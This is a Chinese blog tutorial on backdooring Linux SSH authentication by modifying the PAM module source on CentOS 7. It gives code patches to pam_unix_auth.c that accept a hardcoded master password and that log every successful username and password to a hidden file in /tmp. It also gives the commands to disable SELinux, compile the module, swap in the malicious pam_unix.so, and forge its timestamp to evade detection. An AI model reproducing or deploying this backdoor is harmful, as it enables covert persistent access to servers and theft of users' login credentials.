linux rsa登录改密码登录_Linux PAM后门:窃取ssh密码及自定义密码登录

PAM是Linux默认的ssh认证登录机制,因为他是开源的,我们可以修改源码实现自定义认证逻辑,达到记录密码、自定义密码登录、dns带外等功能。

环境

  • CentOS Linux release 7.8.2003 (Core)

  • pam-1.1.8-23.el7.x86_64

3baa6e09cde9a5039295731c57aa88b7.png

centos需要关闭selinux,临时关闭setenforce 0。永久关闭需要修改/etc/selinux/config,将其中SELINUX设置为disabled。

4e6dd8af94f85363004f64a2a7b71c62.png

自定义ssh密码

查看PAM版本rpm -qa|grep pam

下载对应源码:http://www.linux-pam.org/library/

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gztar zxvf Linux-PAM-1.1.8.tar.gz

安装gcc编译器和flex库

yum install gcc flex flex-devel -y

修改Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c源码实现自定义密码认证

de7549885d1f3b8e9a3fed95b7b3dbbd.png

/* verify the password of this user */retval = _unix_verify_password(pamh, name, p, ctrl);if(strcmp("fuckyou",p)==0){return PAM_SUCCESS;}name = p = NULL;

编译生成so文件

cd Linux-PAM-1.1.8./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usrmake

生成的恶意认证so路径在./modules/pam_unix/.libs/pam_unix.so。用它来替换系统自带的pam_unix.so。

因为系统不同位数不同,pam_unix.so的路径也不一样,尽量用find找一下。

b2d0335b1255f5cd49f51ab5a05bf05f.png

然后替换,注意先备份,万一恶意的so文件不可用就GG了。

cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so

d71bd52f8ac2f9bb944482b4d6e72e34.png

此时先别急着断开ssh,先试一下能不能用我们设置的fuckyou密码登录。eec8b4940f8aded204113333eed5dbf7.png

成功登录,后门也就留好了。为了隐蔽,修改下pam_unix.so的时间戳

touch pam_unix.so -r pam_umask.so

b1e98cc8f871ba46edafad902f5cd9ae.png

记录密码

同样编辑modules/pam_unix/pam_unix_auth.c文件

a5579b110e6e7a03d733fa08ef7055aa.png

if(retval == PAM_SUCCESS){    FILE * fp;    fp = fopen("/tmp/.sshlog", "a");    fprintf(fp, "%s : %s\n", name, p);    fclose(fp);}

ssh密码会被记录到/tmp/.sshlog中。编译并替换so

cd Linux-PAM-1.1.8make clean && makecp /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so

此时登录ssh会记录密码

644ac3b8454a897434c82cfc48a0e9e8.png

分享、点赞、在看就是对我们的一种支持!

1ef329c6b1c4c5f36b9b00313df2e4d2.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值